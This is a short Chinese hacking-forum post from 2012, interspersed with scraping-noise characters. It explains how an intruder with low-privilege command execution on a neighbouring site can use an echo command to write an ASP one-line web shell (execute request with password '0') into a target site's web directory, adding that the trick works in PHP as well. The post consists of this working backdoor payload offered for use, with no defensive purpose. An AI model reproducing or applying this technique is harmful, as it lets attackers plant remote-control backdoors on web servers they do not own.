在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。% j' f9 k+ x! Z, W' q' ?+ [
9 G/ [5 Q9 c) @8 i命令格式/ c, C) h. x, O5 Y( g, Y3 X
7 @2 Y% n* d: t& O5 R0 A9 _
Echo 语句 >目标站绝对目录: w6 j: p' E# [. z
) H( \- U% f& d0 g& x- `& a例如：
& @ c0 K. C# k! }3 E) Q1 l7 J4 m+ P7 j: L! L7 {1 u P( X) ~
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
* I) l; k# l9 m
& C# s$ w1 ]& F; U) w这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
( i( U; x% X+ X4 H |
发表于 2012-9-23 14:40:24
收藏
支持
反对